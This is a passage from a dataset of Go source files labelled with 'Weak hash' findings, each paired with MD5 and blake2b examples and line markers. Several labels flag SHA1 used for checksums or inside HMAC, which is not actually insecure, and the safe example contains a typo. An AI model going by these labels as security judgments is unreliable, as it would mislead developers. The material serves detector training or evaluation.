}\n// \t// data, err = ioutil.ReadAll(file)\n// \t// if err != nil {\n// \t// \treturn nil, err\n// \t// }\n\n// \treturn lines, nil\n\n// }\n\n// FileTimeModified returns the modified time of a file,\n// or the zero time value in case of an error.\nfunc FileTimeModified(filename string) time.Time {\n\tinfo, err := os.Stat(filename)\n\tif err != nil {\n\t\treturn time.Time{}\n\t}\n\treturn info.ModTime()\n}\n\nfunc FileExists(filename string) bool {\n\t_, err := os.Stat(filename)\n\treturn err == nil\n}\n\nfunc FileIsDir(dirname string) bool {\n\tinfo, err := os.Stat(dirname)\n\treturn err == nil && info.IsDir()\n}\n\nfunc FileFind(searchDirs []string, filenames ...string) (filePath string, found bool) {\n\tfor _, dir := range searchDirs {\n\t\tfor _, filename := range filenames {\n\t\t\tfilePath = filepath.Join(dir, filename)\n\t\t\tif FileExists(filePath) {\n\t\t\t\treturn filePath, true\n\t\t\t}\n\t\t}\n\t}\n\treturn \"\", false\n}\n\nfunc FileFindModified(searchDirs []string, filenames ...string) (filePath string, found bool, modified time.Time) {\n\tfor _, dir := range searchDirs {\n\t\tfor _, filename := range filenames {\n\t\t\tfilePath = filepath.Join(dir, filename)\n\t\t\tif t := FileTimeModified(filePath); !t.IsZero() {\n\t\t\t\treturn filePath, true, t\n\t\t\t}\n\t\t}\n\t}\n\treturn \"\", false, time.Time{}\n}\n\nfunc FileTouch(filename string) error {\n\tif FileExists(filename) {\n\t\tnow := time.Now()\n\t\treturn os.Chtimes(filename, now, now)\n\t}\n\tfile, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn file.Close()\n}\n\nfunc FileMD5String(filenameOrURL string) (string, error) {\n\tsum, err := FileMD5Bytes(filenameOrURL)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn fmt.Sprintf(\"%x\", sum), nil\n}\n\nfunc FileMD5Bytes(filenameOrURL string) ([]byte, error) {\n\tdata, err := FileGetBytes(filenameOrURL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\thash := md5.New()\n\t_, err = io.Copy(hash, bytes.NewBuffer(data))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn hash.Sum(nil), nil\n}\n\nvar crc64Table *crc64.Table\n\nfunc FileCRC64(filenameOrURL string) (uint64, error) {\n\tdata, err := FileGetBytes(filenameOrURL)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tif crc64Table == nil {\n\t\tcrc64Table = crc64.MakeTable(crc64.ECMA)\n\t}\n\treturn crc64.Checksum(data, crc64Table), nil\n}\n\nfunc FileGetInflate(filenameOrURL string) ([]byte, error) {\n\tdata, err := FileGetBytes(filenameOrURL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treader := flate.NewReader(bytes.NewBuffer(data))\n\tdefer reader.Close()\n\treturn ioutil.ReadAll(reader)\n}\n\nfunc FileSetDeflate(filename string, data []byte) error {\n\tfile, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer file.Close()\n\tfileBuf := bufio.NewWriter(file)\n\tdefer fileBuf.Flush()\n\twriter, err := flate.NewWriter(fileBuf, flate.BestCompression)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = WriteFull(data, writer)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn writer.Close()\n}\n\nfunc FileGetGz(filenameOrURL string) ([]byte, error) {\n\tdata, err := FileGetBytes(filenameOrURL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treader, err := zlib.NewReader(bytes.NewBuffer(data))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer reader.Close()\n\treturn ioutil.ReadAll(reader)\n}\n\nfunc FileSetGz(filename string, data []byte) error {\n\tfile, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer file.Close()\n\tfileBuf := bufio.NewWriter(file)\n\tdefer fileBuf.Flush()\n\twriter, err := zlib.NewWriterLevel(fileBuf, zlib.BestCompression)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = WriteFull(data, writer)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn writer.Close()\n}\n\n// FileSize returns the size of a file or zero in case of an error.\nfunc FileSize(filename string) int64 {\n\tinfo, err := os.Stat(filename)\n\tif err != nil {\n\t\treturn 0\n\t}\n\treturn info.Size()\n}\n\nfunc FilePrintf(filename, format string, args ...any) error {\n\tfile, err := os.OpenFile(filename, os.O_WRONLY, 0660)\n\tif err == nil {\n\t\t_, err = fmt.Fprintf(file, format, args...)\n\t\tfile.Close()\n\t}\n\treturn err\n}\n\nfunc FileAppendPrintf(filename, format string, args ...any) error {\n\tfile, err := os.OpenFile(filename, os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0660)\n\tif err == nil {\n\t\t_, err = fmt.Fprintf(file, format, args...)\n\t\tfile.Close()\n\t}\n\treturn err\n}\n\nfunc FileScanf(filename, format string, args ...any) error {\n\tfile, err := os.OpenFile(filename, os.O_RDONLY, 0660)\n\tif err == nil {\n\t\t_, err = fmt.Fscanf(file, format, args...)\n\t\tfile.Close()\n\t}\n\treturn err\n}\n\nfunc ListDir(dir string) ([]string, error) {\n\tf, err := os.Open(dir)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer f.Close()\n\treturn f.Readdirnames(-1)\n}\n\nfunc ListDirFiles(dir string) ([]string, error) {\n\tf, err := os.Open(dir)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer f.Close()\n\tfileInfos, err := f.Readdir(-1)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresult := make([]string, 0, len(fileInfos))\n\tfor i := range fileInfos {\n\t\tif !fileInfos[i].IsDir() {\n\t\t\tresult = append(result, fileInfos[i].Name())\n\t\t}\n\t}\n\treturn result, nil\n}\n\nfunc ListDirDirectories(dir string) ([]string, error) {\n\tf, err := os.Open(dir)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer f.Close()\n\tfileInfos, err := f.Readdir(-1)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresult := make([]string, 0, len(fileInfos))\n\tfor i := range fileInfos {\n\t\tif fileInfos[i].IsDir() {\n\t\t\tresult = append(result, fileInfos[i].Name())\n\t\t}\n\t}\n\treturn result, nil\n}\n\n// FileCopy copies file source to destination dest.\n// Based on 's code which can be found at http://jayblog.jaybill.com/post/id/26\nfunc FileCopy(source string, dest string) (err error) {\n\tsourceFile, err := os.Open(source)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer sourceFile.Close()\n\tdestFile, err := os.Create(dest)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer destFile.Close()\n\t_, err = io.Copy(destFile, sourceFile)\n\tif err == nil {\n\t\tsi, err := os.Stat(source)\n\t\tif err == nil {\n\t\t\terr = os.Chmod(dest, si.Mode())\n\t\t}\n\t}\n\treturn err\n}\n\n// FileCopyDir recursively copies a directory tree, attempting to preserve permissions.\n// Source directory must exist, destination directory must *not* exist.\n// Based on 's code which can be found at http://jayblog.jaybill.com/post/id/26\nfunc FileCopyDir(source string, dest string) (err error) {\n\t// get properties of source dir\n\tfileInfo, err := os.Stat(source)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !fileInfo.IsDir() {\n\t\treturn &FileCopyError{\"Source is not a directory\"}\n\t}\n\t// ensure dest dir does not already exist\n\t_, err = os.Open(dest)\n\tif !os.IsNotExist(err) {\n\t\treturn &FileCopyError{\"Destination already exists\"}\n\t}\n\t// create dest dir\n\terr = os.MkdirAll(dest, fileInfo.Mode())\n\tif err != nil {\n\t\treturn err\n\t}\n\tentries, err := ioutil.ReadDir(source)\n\tfor _, entry := range entries {\n\t\tsourcePath := filepath.Join(source, entry.Name())\n\t\tdestinationPath := filepath.Join(dest, entry.Name())\n\t\tif entry.IsDir() {\n\t\t\terr = FileCopyDir(sourcePath, destinationPath)\n\t\t} else {\n\t\t\t// perform copy\n\t\t\terr = FileCopy(sourcePath, destinationPath)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn err\n}\n\n// FileCopyError is a struct for returning file copy error messages\ntype FileCopyError struct {\n\tWhat string\n}\n\nfunc (e *FileCopyError) Error() string {\n\treturn e.What\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 13, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "7b01d8fa6f804e8c49d1fd9ac3ce8e77c342cd831db35333f19ad1a13b882e26", "license": {"spdx": ["MIT"], "repo": "nmyk/nmyk.io", "path": "pkg/tmpchat.go", "repo_head_hexsha": "acf24ed3433293f45430ec249a33b1baad0292c6", "stack_hexsha": "8c3f3c6dfb50bc684b48737d1295eee35f6328c3", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package main\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha1\"\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"github.com/google/uuid\"\n\t\"html/template\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/gorilla/websocket\"\n)\n\ntype Chat struct {\n\tsync.RWMutex\n\tTurnstile *Turnstile\n\tChannels map[string]*Channel\n}\n\nvar tmpchat = &Chat{\n\tTurnstile: &Turnstile{m: make(map[string]struct{})},\n\tChannels: make(map[string]*Channel),\n}\n\nfunc (ch *Chat) Get(channelName string) (*Channel, bool) {\n\tch.RLock()\n\tchannel, ok := ch.Channels[channelName]\n\tch.RUnlock()\n\treturn channel, ok\n}\n\nfunc (ch *Chat) Set(channelName string, channel *Channel) {\n\tch.Lock()\n\tch.Channels[channelName] = channel\n\tch.Unlock()\n}\n\nfunc (ch *Chat) Delete(channelName string) {\n\tch.Lock()\n\tdelete(ch.Channels, channelName)\n\tch.Unlock()\n}\n\ntype Channel struct {\n\tMembers *Members\n\tMessages chan Message\n}\n\ntype Members struct {\n\tsync.RWMutex\n\tm map[string]*websocket.Conn\n}\n\nfunc (m *Members) Get(id string) (*websocket.Conn, bool) {\n\tm.RLock()\n\tmember, ok := m.m[id]\n\tm.RUnlock()\n\treturn member, ok\n}\n\nfunc (m *Members) Set(id string, member *websocket.Conn) {\n\tm.Lock()\n\tm.m[id] = member\n\tm.Unlock()\n}\n\nfunc (m *Members) Delete(id string) {\n\tm.Lock()\n\tdelete(m.m, id)\n\tm.Unlock()\n}\n\nfunc (m *Members) Count() int {\n\tvar n int\n\tm.Range(func(member *websocket.Conn) bool {\n\t\tif member != nil {\n\t\t\tn++\n\t\t}\n\t\treturn true\n\t})\n\treturn n\n}\n\nfunc (m *Members) Range(f func(*websocket.Conn) bool) {\n\tm.RLock()\n\tdefer m.RUnlock()\n\tfor _, member := range m.m {\n\t\tif next := f(member); !next {\n\t\t\treturn\n\t\t}\n\t}\n}\n\nfunc Materialize(channelName string) *Channel {\n\tc := &Channel{\n\t\tMembers: &Members{m: make(map[string]*websocket.Conn)},\n\t\tMessages: make(chan Message),\n\t}\n\tif existing, ok := tmpchat.Get(channelName); !ok {\n\t\tgo c.Run()\n\t\ttmpchat.Set(channelName, c)\n\t\treturn c\n\t} else {\n\t\treturn existing\n\t}\n}\n\nfunc Collect(channelName string, userID string) {\n\tif ch, ok := tmpchat.Get(channelName); ok {\n\t\tch.Broadcast(Message{Type: Exit, From: userID})\n\t\tch.Members.Delete(userID)\n\t\tif ch.Members.Count() == 0 {\n\t\t\tclose(ch.Messages)\n\t\t\ttmpchat.Delete(channelName)\n\t\t}\n\t}\n}\n\nfunc GetTURNCreds(userID string) TURNCreds {\n\texpiresAt := time.Now().Add(24 * time.Hour).Unix()\n\tturnUserName := fmt.Sprintf(\"%d:%s\", expiresAt, userID)\n\th := hmac.New(sha1.New, []byte(os.Getenv(\"TURN_AUTH_SECRET\")))\n\th.Write([]byte(turnUserName))\n\tpassword := base64.StdEncoding.EncodeToString(h.Sum(nil))\n\treturn TURNCreds{turnUserName, password}\n}\n\ntype TURNCreds struct {\n\tUsername string `json:\"username\"`\n\tPassword string `json:\"credential\"`\n}\n\nfunc (c *Channel) Run() {\n\tfor msg := range c.Messages {\n\t\tswitch msg.Type {\n\t\tcase TURNCredRequest:\n\t\t\tif member, ok := c.Members.Get(msg.From); ok {\n\t\t\t\tMessage{\n\t\t\t\t\tType: TURNCredResponse,\n\t\t\t\t\tContent: GetTURNCreds(msg.From),\n\t\t\t\t}.SendTo(member)\n\t\t\t}\n\t\t\tc.Broadcast(\n\t\t\t\tMessage{\n\t\t\t\t\tType: Entrance,\n\t\t\t\t\tContent: struct {\n\t\t\t\t\t\tID string `json:\"id\"`\n\t\t\t\t\t\tName string `json:\"name\"`\n\t\t\t\t\t}{\n\t\t\t\t\t\tmsg.From,\n\t\t\t\t\t\tmsg.Content.(string),\n\t\t\t\t\t},\n\t\t\t\t})\n\t\tcase RTCOffer, RTCAnswer, RTCICECandidate:\n\t\t\tif member, ok := c.Members.Get(msg.To); ok {\n\t\t\t\tmsg.SendTo(member)\n\t\t\t}\n\t\t}\n\t}\n}\n\ntype Message struct {\n\tTo string `json:\"to,omitempty\"`\n\tFrom string `json:\"from,omitempty\"`\n\tType EventType `json:\"type\"`\n\tContent interface{} `json:\"content\"`\n}\n\ntype EventType int\n\nconst (\n\tEntrance EventType = iota\n\tExit\n\tRTCOffer\n\tRTCAnswer\n\tRTCICECandidate\n\tTURNCredRequest\n\tTURNCredResponse\n)\n\nfunc (m Message) SendTo(member *websocket.Conn) {\n\tmessage, _ := json.Marshal(m)\n\tif err := member.WriteMessage(1, message); err != nil {\n\t\tlog.Println(\"write:\", err)\n\t}\n}\n\nfunc (c *Channel) Broadcast(msg Message) {\n\tmessage, _ := json.Marshal(msg)\n\tc.Members.Range(func(member *websocket.Conn) bool {\n\t\tif err := member.WriteMessage(1, message); err != nil {\n\t\t\tlog.Println(\"write:\", err)\n\t\t}\n\t\treturn true\n\t})\n}\n\nfunc signalingHandler(w http.ResponseWriter, r *http.Request) {\n\tparams := r.URL.Query()\n\tvar channelName, userID string\n\tif vals, ok := params[\"channelName\"]; ok {\n\t\tchannelName = vals[0]\n\t}\n\tif vals, ok := params[\"userID\"]; ok {\n\t\tuserID = vals[0]\n\t}\n\tif ok := tmpchat.Turnstile.Admit(userID); !ok {\n\t\tw.WriteHeader(http.StatusForbidden)\n\t\treturn\n\t}\n\tupgrader := websocket.Upgrader{\n\t\tCheckOrigin: func(*http.Request) bool {\n\t\t\tvar origin string\n\t\t\tif vals, ok := r.Header[\"Origin\"]; ok {\n\t\t\t\torigin = vals[0]\n\t\t\t}\n\t\t\toriginURL, err := url.Parse(origin)\n\t\t\tif err != nil {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\treturn originURL.String() == os.Getenv(\"TMPCHAT_URL\")\n\t\t},\n\t}\n\tconn, err := upgrader.Upgrade(w, r, nil)\n\tif err != nil {\n\t\tlog.Print(\"upgrade:\", err)\n\t\treturn\n\t}\n\tMaterialize(channelName).Members.Set(userID, conn)\n\tdefer Collect(channelName, userID)\n\tfor {\n\t\t_, rawSignal, err := conn.ReadMessage()\n\t\tif err != nil {\n\t\t\tlog.Println(\"read:\", err)\n\t\t\tbreak\n\t\t}\n\t\tmessage := Message{}\n\t\tif err := json.Unmarshal(rawSignal, &message); err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tif ch, ok := tmpchat.Get(channelName); ok {\n\t\t\tch.Messages <- message\n\t\t}\n\t}\n}\n\ntype Turnstile struct {\n\tsync.RWMutex\n\tm map[string]struct{}\n}\n\nfunc (t *Turnstile) Register(userID string) bool {\n\tt.RLock()\n\t_, ok := t.m[userID]\n\tt.RUnlock()\n\tif ok {\n\t\treturn false\n\t}\n\tt.Lock()\n\tt.m[userID] = struct{}{}\n\tt.Unlock()\n\treturn true\n}\n\nfunc (t *Turnstile) Admit(userID string) bool {\n\tt.RLock()\n\t_, ok := t.m[userID]\n\tt.RUnlock()\n\tif ok {\n\t\tt.Lock()\n\t\tdelete(t.m, userID)\n\t\tt.Unlock()\n\t\treturn true\n\t}\n\treturn false\n}\n\ntype tmpchatPageData struct {\n\tChannelName string\n\tUserID string\n\tAppURL string\n\tSignalingURL string\n}\n\nfunc tmpchatHandler(w http.ResponseWriter, r *http.Request) {\n\tchannelName := r.URL.Path[1:] // Omit leading slash in path\n\tvar tmpl *template.Template\n\tfm := template.FuncMap{\n\t\t\"safeURL\": func(u string) template.URL { return template.URL(u) },\n\t}\n\tif channelName == \"\" {\n\t\ttmpl = getTemplate(\"tmpchat-index\", fm)\n\t} else {\n\t\ttmpl = getTemplate(\"tmpchat-channel\", fm)\n\t}\n\tuserID := uuid.New().String()\n\tif ok := tmpchat.Turnstile.Register(userID); !ok {\n\t\tw.WriteHeader(http.StatusNoContent)\n\t\treturn\n\t}\n\td := tmpchatPageData{\n\t\tchannelName,\n\t\tuserID,\n\t\tos.Getenv(\"TMPCHAT_URL\"),\n\t\tos.Getenv(\"TMPCHAT_SIGNALING_URL\"),\n\t}\n\t_ = tmpl.Execute(w, d)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "88d4f59808bc49a7a18e1eeddcf8405e0dc900140fd9060cd1cc285f7d4fbd3f", "license": {"spdx": ["MIT"], "repo": "jhunt/ssg", "path": "pkg/ssg/providers/s3/ginkgo_test.go", "repo_head_hexsha": "5530af746c48000227a94801f3e39577f7fff5f7", "stack_hexsha": "f1d7e13ae6a3a0bb3a8ad8f62d9bd07a261eda42", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package s3_test\n\nimport (\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\n\t. \"github.com/onsi/ginkgo\"\n\t. \"github.com/onsi/gomega\"\n\t\"testing\"\n\n\t\"github.com/jhunt/ssg/pkg/ssg/providers/s3\"\n)\n\nfunc TestSuite(t *testing.T) {\n\tRegisterFailHandler(Fail)\n\tRunSpecs(t, \"S3 Provider Test Suite\")\n}\n\nvar _ = Describe(\"S3 Provider\", func() {\n\tContext(\"full stack\", func() {\n\t\tvar provider s3.Provider\n\n\t\tBeforeEach(func() {\n\t\t\tif v := os.Getenv(\"TEST_S3_LIVE\"); v != \"yes\" {\n\t\t\t\tSkip(\"TEST_S3_LIVE not found in environment\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tΩ(os.Getenv(\"TEST_S3_BUCKET\")).ShouldNot(Equal(\"\"))\n\t\t\tΩ(os.Getenv(\"TEST_S3_REGION\")).ShouldNot(Equal(\"\"))\n\t\t\tΩ(os.Getenv(\"TEST_S3_AKI\")).ShouldNot(Equal(\"\"))\n\t\t\tΩ(os.Getenv(\"TEST_S3_KEY\")).ShouldNot(Equal(\"\"))\n\n\t\t\tp, err := s3.Configure(s3.Endpoint{\n\t\t\t\tBucket: os.Getenv(\"TEST_S3_BUCKET\"),\n\t\t\t\tRegion: os.Getenv(\"TEST_S3_REGION\"),\n\t\t\t\tAccessKeyID: os.Getenv(\"TEST_S3_AKI\"),\n\t\t\t\tSecretAccessKey: os.Getenv(\"TEST_S3_KEY\"),\n\t\t\t\tPrefix: os.Getenv(\"TEST_S3_PREFIX\"),\n\t\t\t})\n\t\t\tΩ(err).ShouldNot(HaveOccurred())\n\t\t\tprovider = p\n\t\t})\n\n\t\tIt(\"should be able to download an uploaded file\", func() {\n\t\t\tuploader, err := provider.Upload(s3.RandomKey)\n\t\t\tΩ(err).ShouldNot(HaveOccurred())\n\n\t\t\tfmt.Fprintf(uploader, \"The best laid schemes o’ Mice an’ Men\\n\")\n\t\t\tfmt.Fprintf(uploader, \" Gang aft agley.\\n\")\n\t\t\tuploader.Close()\n\n\t\t\tdownloader, err := provider.Download(uploader.Path())\n\t\t\tΩ(err).ShouldNot(HaveOccurred())\n\n\t\t\tb, err := ioutil.ReadAll(downloader)\n\t\t\tΩ(err).ShouldNot(HaveOccurred())\n\n\t\t\tΩ(string(b)).Should(Equal(\"The best laid schemes o’ Mice an’ Men\\n\" +\n\t\t\t\t\" Gang aft agley.\\n\"))\n\n\t\t\terr = provider.Expunge(uploader.Path())\n\t\t\tΩ(err).ShouldNot(HaveOccurred())\n\n\t\t\t_, err = provider.Download(uploader.Path())\n\t\t\tΩ(err).Should(HaveOccurred())\n\t\t})\n\n\t\tIt(\"should be able to handle really large files\", func() {\n\t\t\tuploader, err := provider.Upload(s3.RandomKey)\n\t\t\tΩ(err).ShouldNot(HaveOccurred())\n\n\t\t\t// generate 10M of data\n\t\t\t// checksum 872e2c6727b8e809cbe5baf15f05997753cd7818\n\t\t\tfor i := 0; i < 10240; i++ {\n\t\t\t\tb := make([]byte, 1024)\n\t\t\t\tfill := []byte(\"jrh\")\n\t\t\t\tfor j := range b {\n\t\t\t\t\tb[j] = fill[j%3]\n\t\t\t\t}\n\t\t\t\tuploader.Write(b)\n\t\t\t}\n\t\t\tuploader.Close()\n\n\t\t\tdownloader, err := provider.Download(uploader.Path())\n\t\t\tΩ(err).ShouldNot(HaveOccurred())\n\n\t\t\tck := sha1.New()\n\t\t\tio.Copy(ck, downloader)\n\t\t\tΩ(hex.EncodeToString(ck.Sum(nil))).Should(Equal(\"872e2c6727b8e809cbe5baf15f05997753cd7818\"))\n\t\t})\n\t})\n})", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "559e10637ef9e6d666aed952017f93f74ad64457fef15e3a0b5e82658febd670", "license": {"spdx": ["MIT"], "repo": "patchon/Pastebin", "path": "pastebin.go", "repo_head_hexsha": "d961fd6952962aa2e3aea53c45afe4f1071994c8", "stack_hexsha": "6a4cfa9c42baf34ab2b0fe4fc849e4906d4d9f9f", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 7, "entireCode": "// Package pastebin is a simple modern and powerful pastebin service\npackage main\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"crypto/sha1\"\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"html\"\n\t\"html/template\"\n\t\"io\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"os/exec\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t// Random string generation,\n\t\"github.com/dchest/uniuri\"\n\n\t// Database drivers,\n\t\"database/sql\"\n\t_ \"github.com/go-sql-driver/mysql\"\n\t_ \"github.com/lib/pq\"\n\t_ \"github.com/mattn/go-sqlite3\"\n\n\t// For url routing\n\t\"github.com/gorilla/mux\"\n)\n\n// Configuration struct,\ntype Configuration struct {\n\tDBHost string `json:\"dbhost\"` // Name of your database host\n\tDBName string `json:\"dbname\"` // Name of your database\n\tDBPassword string `json:\"dbpassword\"` // The password for the database user\n\tDBPlaceHolder [6]string // ? / $[i] Depending on db driver.\n\tDBPort string `json:\"dbport\"` // Port of the database\n\tDBTable string `json:\"dbtable\"` // Name of the table in the database\n\tDBType string `json:\"dbtype\"` // Type of database\n\tDBUser string `json:\"dbuser\"` // The database user\n\tDisplayName string `json:\"displayname\"` // Name of your pastebin\n\tHighlighter string `json:\"highlighter\"` // The name of the highlighter.\n\tListenAddress string `json:\"listenaddress\"` // Address that pastebin will bind on\n\tListenPort string `json:\"listenport\"` // Port that pastebin will listen on\n\tShortUrlLength int `json:\"shorturllength,string\"` // Length of the generated short urls\n}\n\n// This struct is used for responses.\n// A request to the pastebin will always this json struct.\ntype Response struct {\n\tDelKey string `json:\"delkey\"` // The id to use when delete a paste\n\tExpiry string `json:\"expiry\"` // The date when post expires\n\tExtra string `json:\"extra\"` // Extra output from the highlight-wrapper\n\tId string `json:\"id\"` // The id of the paste\n\tLang string `json:\"lang\"` // Specified language\n\tPaste string `json:\"paste\"` // The eactual paste data\n\tSha1 string `json:\"sha1\"` // The sha1 of the paste\n\tSize int `json:\"size\"` // The length of the paste\n\tStatus string `json:\"status\"` // A custom status message\n\tStyle string `json:\"style\"` // Specified style\n\tTitle string `json:\"title\"` // The title of the paste\n\tUrl string `json:\"url\"` // The url of the paste\n}\n\n// This struct is used for indata when a request is being made to the pastebin.\ntype Request struct {\n\tDelKey string `json:\"delkey\"` // The delkey that is used to delete paste\n\tExpiry int64 `json:\"expiry,string\"` // An expiry date\n\tId string `json:\"id\"` // The id of the paste\n\tLang string `json:\"lang\"` // The language of the paste\n\tPaste string `json:\"paste\"` // The actual pase\n\tStyle string `json:\"style\"` // The style of the paste\n\tTitle string `json:\"title\"` // The title of the paste\n\tWebReq bool `json:\"webreq\"` // If its a webrequest or not\n}\n\n// This struct is used for generating pages.\ntype Page struct {\n\tBody template.HTML\n\tExpiry string\n\tLang string\n\tLangsFirst map[string]string\n\tLangsLast map[string]string\n\tPasteId string\n\tPasteTitle string\n\tStyle string\n\tSupportedStyles map[string]string\n\tTitle string\n\tWrapperErr string\n}\n\n// Template pages,\nvar templates = template.Must(template.ParseFiles(\"assets/index.html\",\n\t\"assets/syntax.html\"))\n\n// Global variables, *shrug*\nvar configuration Configuration\nvar dbHandle *sql.DB\nvar debug bool\nvar debugLogger *log.Logger\nvar listOfLangsFirst map[string]string\nvar listOfLangsLast map[string]string\nvar listOfStyles map[string]string\n\n//\n// Functions below,\n//\n\n// loggy prints a message if the debug flag is turned.\nfunc loggy(str string) {\n\tif debug {\n\t\tdebugLogger.Println(\" \" + str)\n\t}\n}\n\n// checkErr simply checks if passed error is anything but nil.\n// If an error exists it will be printed and the program terminates.\nfunc checkErr(err error) {\n\tif err != nil {\n\t\tdebugLogger.Println(\" \" + 